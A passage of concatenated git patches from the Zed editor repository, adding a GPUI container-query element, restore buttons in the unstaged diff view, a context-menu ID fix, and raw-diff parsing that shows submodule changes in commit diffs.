demonstrate it: the three-column grid collapses to a stacked column when
the window is narrower than 400px, and the header shows the live
measured width.

Release Notes:

- N/A

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 crates/gpui/examples/grid_layout.rs         | 101 ++++++++--------
 crates/gpui/src/elements/container_query.rs | 126 ++++++++++++++++++++
 crates/gpui/src/elements/mod.rs             |   2 +
 3 files changed, 176 insertions(+), 53 deletions(-)
 create mode 100644 crates/gpui/src/elements/container_query.rs

diff --git a/crates/gpui/examples/grid_layout.rs b/crates/gpui/examples/grid_layout.rs
index 650a3e37bbc2f0..9c6d723eba0de2 100644
--- a/crates/gpui/examples/grid_layout.rs
+++ b/crates/gpui/examples/grid_layout.rs
@@ -1,68 +1,63 @@
 #![cfg_attr(target_family = "wasm", no_main)]
 
 use gpui::{
-    App, Bounds, Context, Hsla, Window, WindowBounds, WindowOptions, div, prelude::*, px, rgb, size,
+    App, Bounds, Context, Hsla, Window, WindowBounds, WindowOptions, container_query, div,
+    prelude::*, px, rgb, size,
 };
 use gpui_platform::application;
 
 // https://en.wikipedia.org/wiki/Holy_grail_(web_design)
+//
+// Resize the window: the layout is chosen by `container_query` based on the
+// measured size of the container, collapsing to a single stacked column when
+// it becomes too narrow for the three-column grid.
 struct HolyGrailExample {}
 
 impl Render for HolyGrailExample {
     fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
-        let block = |color: Hsla| {
-            div()
-                .size_full()
-                .bg(color)
-                .border_1()
-                .border_dashed()
-                .rounded_md()
-                .border_color(gpui::white())
-                .items_center()
-        };
+        container_query(|container_size, _window, _cx| {
+            let block = |color: Hsla| {
+                div()
+                    .size_full()
+                    .bg(color)
+                    .border_1()
+                    .border_dashed()
+                    .rounded_md()
+                    .border_color(gpui::white())
+                    .items_center()
+            };
 
-        div()
-            .gap_1()
-            .grid()
-            .bg(rgb(0x505050))
-            .size(px(500.0))
-            .shadow_lg()
-            .border_1()
-            .size_full()
-            .grid_cols(5)
-            .grid_rows(5)
-            .child(
-                block(gpui::white())
-                    .row_span(1)
-                    .col_span_full()
-                    .child("Header"),
-            )
-            .child(
-                block(gpui::red())
-                    .col_span(1)
-                    .h_56()
-                    .child("Table of contents"),
-            )
-            .child(
-                block(gpui::green())
-                    .col_span(3)
-                    .row_span(3)
-                    .child("Content"),
-            )
-            .child(
-                block(gpui::blue())
-                    .col_span(1)
-                    .row_span(3)
-                    .child("AD :(")
-                    .text_color(gpui::white()),
-            )
-            .child(
-                block(gpui::black())
-                    .row_span(1)
-                    .col_span_full()
-                    .text_color(gpui::white())
-                    .child("Footer"),
-            )
+            let header = block(gpui::white()).child(format!("Header — {}", container_size.width));
+            let table_of_contents = block(gpui::red()).child("Table of contents");
+            let content = block(gpui::green()).child("Content");
+            let ad = block(gpui::blue()).child("AD :(").text_color(gpui::white());
+            let footer = block(gpui::black())
+                .text_color(gpui::white())
+                .child("Footer");
+
+            let container = div().gap_1().bg(rgb(0x505050)).shadow_lg().size_full();
+
+            if container_size.width < px(400.) {
+                container
+                    .flex()
+                    .flex_col()
+                    .child(header.h_12().flex_none())
+                    .child(table_of_contents.h_20().flex_none())
+                    .child(content.flex_1())
+                    .child(ad.h_20().flex_none())
+                    .child(footer.h_12().flex_none())
+            } else {
+                container
+                    .grid()
+                    .grid_cols(5)
+                    .grid_rows(5)
+                    .child(header.row_span(1).col_span_full())
+                    .child(table_of_contents.col_span(1).h_56())
+                    .child(content.col_span(3).row_span(3))
+                    .child(ad.col_span(1).row_span(3))
+                    .child(footer.row_span(1).col_span_full())
+            }
+        })
     }
 }
 
diff --git a/crates/gpui/src/elements/container_query.rs b/crates/gpui/src/elements/container_query.rs
new file mode 100644
index 00000000000000..0363ce6900835b
--- /dev/null
+++ b/crates/gpui/src/elements/container_query.rs
@@ -0,0 +1,126 @@
+//! A container query element, in the spirit of CSS container queries.
+//! The element's own size is determined solely by its style and the space
+//! offered by its parent.
+
+use refineable::Refineable as _;
+
+use crate::{
+    AnyElement, App, AvailableSpace, Bounds, Element, ElementId, GlobalElementId,
+    InspectorElementId, IntoElement, LayoutId, Pixels, Size, Style, StyleRefinement, Styled,
+    Window, relative,
+};
+
+/// Construct a container query element with the given render callback.
+/// The callback receives the size the element was assigned during layout and
+/// returns the contents to display within it.
+///
+/// By default the element fills its parent (equivalent to `.size_full()`);
+/// use the [`Styled`] methods to size it differently. Because the contents
+/// don't exist until after layout, they cannot influence the element's size.
+///
+/// # Example
+///
+/// ```
+/// # use gpui::{container_query, div, px, IntoElement, ParentElement};
+/// container_query(|size, _window, _cx| {
+///     if size.width < px(240.) {
+///         div().child("Narrow layout")
+///     } else {
+///         div().child("Wide layout")
+///     }
+/// });
+/// ```
+pub fn container_query<E>(
+    render: impl 'static + FnOnce(Size<Pixels>, &mut Window, &mut App) -> E,
+) -> ContainerQuery
+where
+    E: IntoElement,
+{
+    let mut base_style = StyleRefinement::default();
+    base_style.size.width = Some(relative(1.).into());
+    base_style.size.height = Some(relative(1.).into());
+
+    ContainerQuery {
+        render: Some(Box::new(|size, window, cx| {
+            render(size, window, cx).into_any_element()
+        })),
+        style: base_style,
+    }
+}
+
+/// A container query element, created with [`container_query`].
+pub struct ContainerQuery {
+    render: Option<Box<dyn FnOnce(Size<Pixels>, &mut Window, &mut App) -> AnyElement>>,
+    style: StyleRefinement,
+}
+
+impl Element for ContainerQuery {
+    type RequestLayoutState = ();
+    type PrepaintState = Option<AnyElement>;
+
+    fn id(&self) -> Option<ElementId> {
+        None
+    }
+
+    fn source_location(&self) -> Option<&'static core::panic::Location<'static>> {
+        None
+    }
+
+    fn request_layout(
+        &mut self,
+        _id: Option<&GlobalElementId>,
+        _inspector_id: Option<&InspectorElementId>,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> (LayoutId, Self::RequestLayoutState) {
+        let mut style = Style::default();
+        style.refine(&self.style);
+        let layout_id = window.request_layout(style, [], cx);
+        (layout_id, ())
+    }
+
+    fn prepaint(
+        &mut self,
+        _id: Option<&GlobalElementId>,
+        _inspector_id: Option<&InspectorElementId>,
+        bounds: Bounds<Pixels>,
+        _request_layout: &mut Self::RequestLayoutState,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> Option<AnyElement> {
+        let render = self.render.take()?;
+        let mut child = render(bounds.size, window, cx);
+        child.layout_as_root(bounds.size.map(AvailableSpace::Definite), window, cx);
+        child.prepaint_at(bounds.origin, window, cx);
+        Some(child)
+    }
+
+    fn paint(
+        &mut self,
+        _id: Option<&GlobalElementId>,
+        _inspector_id: Option<&InspectorElementId>,
+        _bounds: Bounds<Pixels>,
+        _request_layout: &mut Self::RequestLayoutState,
+        prepaint: &mut Self::PrepaintState,
+        window: &mut Window,
+        cx: &mut App,
+    ) {
+        if let Some(child) = prepaint {
+            child.paint(window, cx);
+        }
+    }
+}
+
+impl IntoElement for ContainerQuery {
+    type Element = Self;
+
+    fn into_element(self) -> Self::Element {
+        self
+    }
+}
+
+impl Styled for ContainerQuery {
+    fn style(&mut self) -> &mut StyleRefinement {
+        &mut self.style
+    }
+}
diff --git a/crates/gpui/src/elements/mod.rs b/crates/gpui/src/elements/mod.rs
index bfbc08b3f49792..8a2a1b70a7bf28 100644
--- a/crates/gpui/src/elements/mod.rs
+++ b/crates/gpui/src/elements/mod.rs
@@ -1,6 +1,7 @@
 mod anchored;
 mod animation;
 mod canvas;
+mod container_query;
 mod deferred;
 mod div;
 mod image_cache;
@@ -14,6 +15,7 @@ mod uniform_list;
 pub use anchored::*;
 pub use animation::*;
 pub use canvas::*;
+pub use container_query::*;
 pub use deferred::*;
 pub use div::*;
 pub use image_cache::*;

From 60099a06df5a9d035274577815d78e0f10a5d9bf Mon Sep 17 00:00:00 2001
From: Pranav Nedungadi <59979143+npv12@users.noreply.github.com>
Date: Sun, 12 Jul 2026 19:09:09 +0530
Subject: [PATCH 396/772] git_ui: Add restore buttons to unstaged diff view
 (#60639)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The unstaged diff view introduced in the partially staged changes commit
only had a Stage button but no Restore option. This adds:

- A per-hunk Restore button in the inline hunk controls (disabled for
new files)
- A Restore button in the toolbar for selected hunks
- A Restore All button in the toolbar to discard all unstaged changes
- A restore method override on UnstagedDiffDelegate for the Restore
action

Release Notes:

- Added restore buttons to the unstaged diff view for discarding
unstaged changes.

# Objective
New unstaged and staged diffs were added in #46541 . However for
unstaged changes, only option available is to stage a change. It would
also be a common use case to restore the changes. (Like how it is done
in uncommitted changes).

## Solution
- A per-hunk Restore button in the inline hunk controls (disabled for
new files)
- A Restore button in the toolbar for selected hunks
- A Restore All button in the toolbar to discard all unstaged changes
- A restore method override on UnstagedDiffDelegate for the Restore
action

## Testing
Tested in locally and ensured both features work

## Self-Review Checklist:

- [ ] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase
<img width="1141" height="635" alt="Screenshot 2026-07-09 at 9 00 47 AM"
src="https://github.com/user-attachments/assets/b1d3f091-9f1d-49c6-87e6-9efad25e62dd"
/>

## Note
I am still learning rust bit by bit. Please let me know if something is
massively wrong. This is assisted by AI but reviewed by me with best of
my knowledge.

---

Release Notes:

- Added restore buttons to the unstaged diff view for discarding
unstaged changes.

---------

Signed-off-by: Pranav <pranav10121@gmail.com>
Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
---
 crates/editor/src/git.rs              |  17 ++--
 crates/git_ui/src/diff_multibuffer.rs |  22 +++++
 crates/git_ui/src/git_panel.rs        |   5 ++
 crates/git_ui/src/unstaged_diff.rs    | 121 +++++++++++++++++++++++++-
 4 files changed, 158 insertions(+), 7 deletions(-)

diff --git a/crates/editor/src/git.rs b/crates/editor/src/git.rs
index d9871fa2cb5898..ab5b035a05a5f4 100644
--- a/crates/editor/src/git.rs
+++ b/crates/editor/src/git.rs
@@ -1050,11 +1050,7 @@ impl Editor {
         );
     }
 
-    pub(super) fn restore_diff_hunks(
-        &mut self,
-        hunks: Vec<ResolvedDiffHunks>,
-        cx: &mut Context<Self>,
-    ) {
+    pub fn restore_diff_hunks(&mut self, hunks: Vec<ResolvedDiffHunks>, cx: &mut Context<Self>) {
         let mut revert_changes = Vec::new();
         for hunks in hunks {
             let Some(buffer) = hunks.buffer else {
@@ -2110,6 +2106,17 @@ impl Editor {
         .detach_and_log_err(cx);
     }
 
+    pub fn restore_diff_hunks_in_ranges(
+        &mut self,
+        ranges: Vec<Range<Anchor>>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let snapshot = self.buffer.read(cx).snapshot(cx);
+        let hunks = self.diff_hunks_in_ranges(&ranges, &snapshot).collect();
+        self.apply_restore(hunks, window, cx);
+    }
+
     fn toggle_diff_hunks_in_ranges(
         &mut self,
         ranges: Vec<Range<Anchor>>,
diff --git a/crates/git_ui/src/diff_multibuffer.rs b/crates/git_ui/src/diff_multibuffer.rs
index 96c05303719e2d..7c548952d7b86f 100644
--- a/crates/git_ui/src/diff_multibuffer.rs
+++ b/crates/git_ui/src/diff_multibuffer.rs
@@ -365,6 +365,28 @@ impl DiffMultibuffer {
         }
     }
 
+    pub(crate) fn restore_selected_hunks(
+        &mut self,
+        move_to_next: bool,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let editor = self.editor.read(cx).rhs_editor().clone();
+        let ranges = self.hunk_action_ranges(cx);
+        editor.update(cx, |editor, cx| {
+            let snapshot = editor.buffer().read(cx).snapshot(cx);
+            let hunks: Vec<_> = editor.diff_hunks_in_ranges(&ranges, &snapshot).collect();
+            if !hunks.is_empty() {
+                editor.apply_restore(hunks, window, cx);
+            }
+        });
+        if move_to_next {
+            editor
+                .focus_handle(cx)
+                .dispatch_action(&GoToHunk, window, cx);
+        }
+    }
+
     fn handle_editor_event(
         &mut self,
         editor: &Entity<SplittableEditor>,
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 798b1bad24ba41..d5e6e65b132260 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -206,6 +206,11 @@ fn git_panel_context_menu(
             .context(focus_handle.clone())
             .action_disabled_when(!has_unstaged_changes, "Stage All", StageAll.boxed_clone())
             .action_disabled_when(!has_staged_changes, "Unstage All", UnstageAll.boxed_clone())
+            .action_disabled_when(
+                !has_tracked_changes,
+                "Restore All Changes",
+                RestoreTrackedFiles.boxed_clone(),
+            )
             .separator()
             .action_disabled_when(
                 !(has_new_changes || has_tracked_changes),
diff --git a/crates/git_ui/src/unstaged_diff.rs b/crates/git_ui/src/unstaged_diff.rs
index a31ea12b3fe5b3..02cb8f12c24d45 100644
--- a/crates/git_ui/src/unstaged_diff.rs
+++ b/crates/git_ui/src/unstaged_diff.rs
@@ -81,12 +81,38 @@ impl DiffHunkDelegate for UnstagedDiffDelegate {
         }
     }
 
+    fn restore(
+        &self,
+        hunks: Vec<ResolvedDiffHunks>,
+        editor: &mut Editor,
+        window: &mut Window,
+        cx: &mut Context<Editor>,
+    ) {
+        if hunks.is_empty() || editor.read_only(cx) {
+            return;
+        }
+        editor.transact(window, cx, |editor, window, cx| {
+            editor.restore_diff_hunks(hunks, cx);
+            let selections = editor
+                .selections
+                .all::<editor::MultiBufferOffset>(&editor.display_snapshot(cx));
+            editor.change_selections(
+                editor::SelectionEffects::no_scroll(),
+                window,
+                cx,
+                |selections_state| {
+                    selections_state.select(selections);
+                },
+            );
+        });
+    }
+
     fn render_hunk_controls(
         &self,
         row: u32,
         status: &DiffHunkStatus,
         hunk_range: Range<editor::Anchor>,
-        _is_created_file: bool,
+        is_created_file: bool,
         line_height: Pixels,
         editor: &Entity<Editor>,
         _window: &mut Window,
@@ -98,6 +124,7 @@ impl DiffHunkDelegate for UnstagedDiffDelegate {
         {
             return gpui::Empty.into_any_element();
         }
+        let hunk_range_for_restore = hunk_range.clone();
         let hunk_range = hunk_range.start..hunk_range.start;
         h_flex()
             .h(line_height)
@@ -130,6 +157,29 @@ impl DiffHunkDelegate for UnstagedDiffDelegate {
                         }
                     }),
             )
+            .child(
+                Button::new(("restore", row as u64), "Restore")
+                    .tooltip(Tooltip::text("Restore Hunk"))
+                    .on_click({
+                        let editor = editor.clone();
+                        let hunk_range = hunk_range_for_restore;
+                        move |_event, window, cx| {
+                            editor.update(cx, |editor, cx| {
+                                let snapshot = editor.buffer().read(cx).snapshot(cx);
+                                let hunks: Vec<_> = editor
+                                    .diff_hunks_in_ranges(
+                                        std::slice::from_ref(&hunk_range),
+                                        &snapshot,
+                                    )
+                                    .collect();
+                                if !hunks.is_empty() {
+                                    editor.apply_restore(hunks, window, cx);
+                                }
+                            });
+                        }
+                    })
+                    .disabled(is_created_file),
+            )
             .into_any_element()
     }
 
@@ -278,6 +328,9 @@ impl UnstagedDiff {
             .diff_hunks_in_ranges(&ranges, &snapshot)
             .next()
             .is_some();
+        let restore = editor
+            .diff_hunks_in_ranges(&ranges, &snapshot)
+            .any(|h| !h.is_created_file());
         let mut stage_all = false;
         self.workspace
             .read_with(cx, |workspace, cx| {
@@ -286,9 +339,12 @@ impl UnstagedDiff {
                 }
             })
             .ok();
+        let restore_all = snapshot.diff_hunks().any(|h| !h.is_created_file());
 
         ButtonStates {
             stage,
+            restore,
+            restore_all,
             prev_next,
             selection,
             stage_all,
@@ -305,10 +361,23 @@ impl UnstagedDiff {
             diff.stage_or_unstage_selected_hunks(true, move_to_next, window, cx)
         });
     }
+
+    fn restore_selected_unstaged_hunks(
+        &mut self,
+        move_to_next: bool,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.diff.update(cx, |diff, cx| {
+            diff.restore_selected_hunks(move_to_next, window, cx)
+        });
+    }
 }
 
 struct ButtonStates {
     stage: bool,
+    restore: bool,
+    restore_all: bool,
     prev_next: bool,
     selection: bool,
     stage_all: bool,
@@ -587,6 +656,20 @@ impl UnstagedDiffToolbar {
         });
     }
 
+    fn restore_selected_unstaged_hunks(
+        &mut self,
+        move_to_next: bool,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(unstaged_diff) = self.unstaged_diff(cx) else {
+            return;
+        };
+        unstaged_diff.update(cx, |unstaged_diff, cx| {
+            unstaged_diff.restore_selected_unstaged_hunks(move_to_next, window, cx);
+        });
+    }
+
     fn stage_all(&mut self, window: &mut Window, cx: &mut Context<Self>) {
         self.workspace
             .update(cx, |workspace, cx| {
@@ -599,6 +682,24 @@ impl UnstagedDiffToolbar {
             })
             .ok();
     }
+
+    fn restore_all(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        let Some(unstaged_diff) = self.unstaged_diff(cx) else {
+            return;
+        };
+        let diff = unstaged_diff.read(cx).diff.read(cx);
+        let editor = diff.editor().read(cx).rhs_editor().clone();
+        let snapshot = diff.multibuffer().read(cx).snapshot(cx);
+        let hunks: Vec<_> = snapshot
+            .diff_hunks()
+            .filter(|h| !h.is_created_file())
+            .collect();
+        if !hunks.is_empty() {
+            editor.update(cx, |editor, cx| {
+                editor.apply_restore(hunks, window, cx);
+            });
+        }
+    }
 }
 
 impl EventEmitter<ToolbarItemEvent> for UnstagedDiffToolbar {}
@@ -712,7 +813,15 @@ impl Render for UnstagedDiffToolbar {
                                     this.stage_selected_unstaged_hunks(true, window, cx)
                                 })),
                         )
-                    }),
+                    })
+                    .child(
+                        Button::new("restore", "Restore")
+                            .disabled(!button_states.restore)
+                            .tooltip(Tooltip::text("Restore Selected Hunks"))
+                            .on_click(cx.listener(|this, _, window, cx| {
+                                this.restore_selected_unstaged_hunks(false, window, cx)
+                            })),
+                    ),
             )
             .child(Divider::vertical())
             .child(
@@ -726,5 +835,13 @@ impl Render for UnstagedDiffToolbar {
                     ))
                     .on_click(cx.listener(|this, _, window, cx| this.stage_all(window, cx))),
             )
+            .child(Divider::vertical())
+            .child(
+                Button::new("restore-all", "Restore All")
+                    .width(rems_from_px(80.))
+                    .disabled(!button_states.restore_all)
+                    .tooltip(Tooltip::text("Restore All Changes"))
+                    .on_click(cx.listener(|this, _, window, cx| this.restore_all(window, cx))),
+            )
     }
 }

From 08359123ac72a8e5b2dde63d81e5a453c47703ce Mon Sep 17 00:00:00 2001
From: Yifeng Xu <110726416+peakxy@users.noreply.github.com>
Date: Mon, 13 Jul 2026 05:08:20 +0800
Subject: [PATCH 397/772] =?UTF-8?q?Fix=20=E2=80=9COpen=20file=20in=20proje?=
 =?UTF-8?q?ct"=20option=20in=20the=20right-click=20menu=20not=20working=20?=
 =?UTF-8?q?(#60807)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fix file header context menu actions in multi-file Git history diffs.
Previously, `Open File in Project` worked for the first file but did
nothing for subsequent files.

Fixes #60790

## Solution

Include the buffer ID in each file header context menu's GPUI element
ID. This prevents multiple file headers in split diff views from sharing
the same menu state.

## Testing

- Ran `cargo check -p editor --lib`.
- Ran `cargo fmt --package editor -- --check`.
- Reviewers can test by opening a multi-file commit from Git Panel →
History in split diff mode, then using `Open File in Project` on the
second and subsequent file headers.


https://github.com/user-attachments/assets/46fa4e15-60ac-4ae3-9a73-a89c7f107cb0

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed opening project files from context menus in multi-file Git
history diffs.

Co-authored-by: peakxy <2465549609@qq.com>
---
 crates/editor/src/element/header.rs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/crates/editor/src/element/header.rs b/crates/editor/src/element/header.rs
index 0ba76a137617fe..880139039d6d08 100644
--- a/crates/editor/src/element/header.rs
+++ b/crates/editor/src/element/header.rs
@@ -976,7 +976,7 @@ pub(crate) fn render_buffer_header(
     let editor = editor.clone();
     let buffer_snapshot = buffer.clone();
 
-    right_click_menu("buffer-header-context-menu")
+    right_click_menu(("buffer-header-context-menu", buffer_id.to_proto()))
         .trigger(move |_, _, _| header)
         .menu(move |window, cx| {
             let menu_context = focus_handle.clone();

From ca0b3c92d7f3f92d32b98a18eec2df89a1c4e4a3 Mon Sep 17 00:00:00 2001
From: Eagl61 <17625015+Eagl61@users.noreply.github.com>
Date: Sun, 12 Jul 2026 23:19:11 +0200
Subject: [PATCH 398/772] git: Show submodule changes in commit diffs (#60479)

## Objective

Fix Git Graph showing `0 Changed Files` for commits that modify
submodules.

This happened because submodule entries are gitlinks rather than regular
blobs, so the existing commit diff loading path could not resolve them
correctly.

I ran into this issue previously, and it was confusing because the
commit clearly contained changes, but the UI did not reflect them. If a
commit included many file changes plus a submodule update, the submodule
change was effectively hidden and the UI could still show `0 Changed
Files` for that entry. Since submodules are not used in every
repository, the bug is easy to miss and may go unnoticed for a long
time.

## Solution

- Switched commit diff loading to use Git's raw diff output so submodule
entries are represented explicitly.
- Added parsing for gitlink entries alongside regular file changes.
- Render submodule changes as `Subproject commit <oid>` so they show up
in commit diffs instead of being dropped.

## Testing

- Added a repository test covering commit diffs that include submodule
changes.
- Ran the `git` crate test suite.
- Ran formatting and lint checks.
- Verified the Git UI crate still builds.
- Ran and tested it locally on MacOS.

Reviewer notes:
- The change is limited to commit diff loading and should not affect
normal blob diffs.
- Submodule changes now appear as explicit entries instead of being
counted as zero files.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and [icon](https://github.com/zed-
industries/zed/blob/main/crates/icons/README.md) guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

Before:
<img width="200" alt="Screenshot 2026-07-06 at 19 22 57"
src="https://github.com/user-attachments/assets/16efc348-5909-4cb0-8589-b0662923df56"
/>

After:
<img width="200" alt="Screenshot 2026-07-06 at 20 20 11"
src="https://github.com/user-attachments/assets/3201b264-6e61-45de-a9fc-c585f3b54e09"
/>

<img width="200" alt="Screenshot 2026-07-06 at 20 37 57"
src="https://github.com/user-attachments/assets/182ed4e1-9e90-4e33-9136-7626aba31153"
/>

---

Release Notes:

- Fixed Git Graph showing `0 Changed Files` for commits that update
submodules.
---
 crates/git/src/commit.rs     | 172 ++++++++++++++++------
 crates/git/src/repository.rs | 278 ++++++++++++++++++++++++++---------
 2 files changed, 334 insertions(+), 116 deletions(-)

diff --git a/crates/git/src/commit.rs b/crates/git/src/commit.rs
index 326c741ad195cd..62bf8b4a103add 100644
--- a/crates/git/src/commit.rs
+++ b/crates/git/src/commit.rs
@@ -100,22 +100,88 @@ async fn get_messages_impl(git: &GitBinary, shas: &[Oid]) -> Result<Vec<String>>
         .collect::<Vec<_>>())
 }
 
-/// Parse the output of `git diff --name-status -z`
-pub fn parse_git_diff_name_status(content: &str) -> impl Iterator<Item = (&str, StatusCode)> {
+pub(crate) const GITLINK_MODE: &str = "160000";
+
+#[derive(Clone, Copy, Debug, PartialEq, Eq)]
+pub(crate) enum CommitDiffObjectKind {
+    Blob,
+    Gitlink,
+}
+
+#[derive(Clone, Copy, Debug, PartialEq, Eq)]
+pub(crate) struct CommitDiffObject<'a> {
+    pub oid: &'a str,
+    pub kind: CommitDiffObjectKind,
+}
+
+#[derive(Debug, PartialEq, Eq)]
+pub(crate) struct CommitDiffEntry<'a> {
+    pub path: &'a str,
+    pub status: StatusCode,
+    pub old_object: Option<CommitDiffObject<'a>>,
+    pub new_object: Option<CommitDiffObject<'a>>,
+}
+
+/// Parses the output of `git diff --raw --no-abbrev -z`.
+pub(crate) fn parse_git_diff_raw(
+    content: &str,
+) -> impl Iterator<Item = Result<CommitDiffEntry<'_>>> {
     let mut parts = content.split('\0');
     std::iter::from_fn(move || {
-        loop {
-            let status_str = parts.next()?;
-            let path = parts.next()?;
-            let status = match status_str {
-                "M" => StatusCode::Modified,
-                "T" => StatusCode::TypeChanged,
-                "A" => StatusCode::Added,
-                "D" => StatusCode::Deleted,
-                _ => continue,
-            };
-            return Some((path, status));
+        let metadata = parts.next()?;
+        if metadata.is_empty() {
+            return None;
         }
+
+        let path = match parts.next() {
+            Some(path) => path,
+            None => return Some(Err(anyhow::anyhow!("raw diff is missing the path"))),
+        };
+        Some(parse_git_diff_raw_entry(metadata, path))
+    })
+}
+
+fn parse_git_diff_raw_entry<'a>(metadata: &'a str, path: &'a str) -> Result<CommitDiffEntry<'a>> {
+    let mut fields = metadata
+        .strip_prefix(':')
+        .context("raw diff metadata is missing its ':' prefix")?
+        .split_ascii_whitespace();
+    let old_mode = fields.next().context("raw diff is missing the old mode")?;
+    let new_mode = fields.next().context("raw diff is missing the new mode")?;
+    let old_oid = fields
+        .next()
+        .context("raw diff is missing the old object ID")?;
+    let new_oid = fields
+        .next()
+        .context("raw diff is missing the new object ID")?;
+    let status = match fields.next() {
+        Some("M") => StatusCode::Modified,
+        Some("T") => StatusCode::TypeChanged,
+        Some("A") => StatusCode::Added,
+        Some("D") => StatusCode::Deleted,
+        Some(status) => anyhow::bail!("unsupported raw diff status {status}"),
+        None => anyhow::bail!("raw diff is missing the status"),
+    };
+
+    Ok(CommitDiffEntry {
+        path,
+        status,
+        old_object: (!old_oid.bytes().all(|byte| byte == b'0')).then(|| CommitDiffObject {
+            oid: old_oid,
+            kind: if old_mode == GITLINK_MODE {
+                CommitDiffObjectKind::Gitlink
+            } else {
+                CommitDiffObjectKind::Blob
+            },
+        }),
+        new_object: (!new_oid.bytes().all(|byte| byte == b'0')).then(|| CommitDiffObject {
+            oid: new_oid,
+            kind: if new_mode == GITLINK_MODE {
+                CommitDiffObjectKind::Gitlink
+            } else {
+                CommitDiffObjectKind::Blob
+            },
+        }),
     })
 }
 
@@ -125,41 +191,59 @@ mod tests {
     use super::*;
 
     #[test]
-    fn test_parse_git_diff_name_status() {
+    fn test_parse_git_diff_raw() {
         let input = concat!(
-            "M\x00Cargo.lock\x00",
-            "T\x00LICENSE-GPL\x00",
-            "M\x00crates/project/Cargo.toml\x00",
-            "M\x00crates/project/src/buffer_store.rs\x00",
-            "D\x00crates/project/src/git.rs\x00",
-            "A\x00crates/project/src/git_store.rs\x00",
-            "A\x00crates/project/src/git_store/git_traversal.rs\x00",
-            "M\x00crates/project/src/project.rs\x00",
-            "M\x00crates/project/src/worktree_store.rs\x00",
-            "M\x00crates/project_panel/src/project_panel.rs\x00",
+            ":100644 100644 1111111111111111111111111111111111111111 2222222222222222222222222222222222222222 M\x00file.txt\x00",
+            ":160000 160000 3333333333333333333333333333333333333333 4444444444444444444444444444444444444444 M\x00modules/example\x00",
+            ":000000 100644 0000000000000000000000000000000000000000 5555555555555555555555555555555555555555 A\x00added.txt\x00",
+            ":160000 000000 6666666666666666666666666666666666666666 0000000000000000000000000000000000000000 D\x00deleted-module\x00",
+            ":100644 160000 7777777777777777777777777777777777777777 8888888888888888888888888888888888888888 T\x00type-change\x00",
         );
 
-        let output = parse_git_diff_name_status(input).collect::<Vec<_>>();
+        let entries = parse_git_diff_raw(input)
+            .collect::<Result<Vec<_>>>()
+            .unwrap();
+        let [file, gitlink, added, deleted, type_change] = entries.as_slice() else {
+            panic!("expected five raw diff entries");
+        };
+
+        assert_eq!(file.path, "file.txt");
+        assert_eq!(file.status, StatusCode::Modified);
         assert_eq!(
-            output,
-            &[
-                ("Cargo.lock", StatusCode::Modified),
-                ("LICENSE-GPL", StatusCode::TypeChanged),
-                ("crates/project/Cargo.toml", StatusCode::Modified),
-                ("crates/project/src/buffer_store.rs", StatusCode::Modified),
-                ("crates/project/src/git.rs", StatusCode::Deleted),
-                ("crates/project/src/git_store.rs", StatusCode::Added),
-                (
-                    "crates/project/src/git_store/git_traversal.rs",
-                    StatusCode::Added,
-                ),
-                ("crates/project/src/project.rs", StatusCode::Modified),
-                ("crates/project/src/worktree_store.rs", StatusCode::Modified),
-                (
-                    "crates/project_panel/src/project_panel.rs",
-                    StatusCode::Modified
-                ),
-            ]
+            file.new_object.map(|object| object.kind),
+            Some(CommitDiffObjectKind::Blob)
+        );
+        assert_eq!(gitlink.path, "modules/example");
+        assert_eq!(gitlink.status, StatusCode::Modified);
+        assert_eq!(
+            gitlink.old_object.map(|object| object.kind),
+            Some(CommitDiffObjectKind::Gitlink)
         );
+        assert_eq!(
+            gitlink.new_object.map(|object| object.kind),
+            Some(CommitDiffObjectKind::Gitlink)
+        );
+        assert!(added.old_object.is_none());
+        assert_eq!(added.status, StatusCode::Added);
+        assert!(deleted.new_object.is_none());
+        assert_eq!(deleted.status, StatusCode::Deleted);
+        assert_eq!(type_change.status, StatusCode::TypeChanged);
+        assert_eq!(
+            type_change.old_object.map(|object| object.kind),
+            Some(CommitDiffObjectKind::Blob)
+        );
+        assert_eq!(
+            type_change.new_object.map(|object| object.kind),
+            Some(CommitDiffObjectKind::Gitlink)
+        );
+    }
+
+    #[test]
+    fn test_parse_git_diff_raw_rejects_malformed_metadata() {
+        let error = parse_git_diff_raw(":100644\x00file.txt\x00")
+            .next()
+            .expect("expected a raw diff entry")
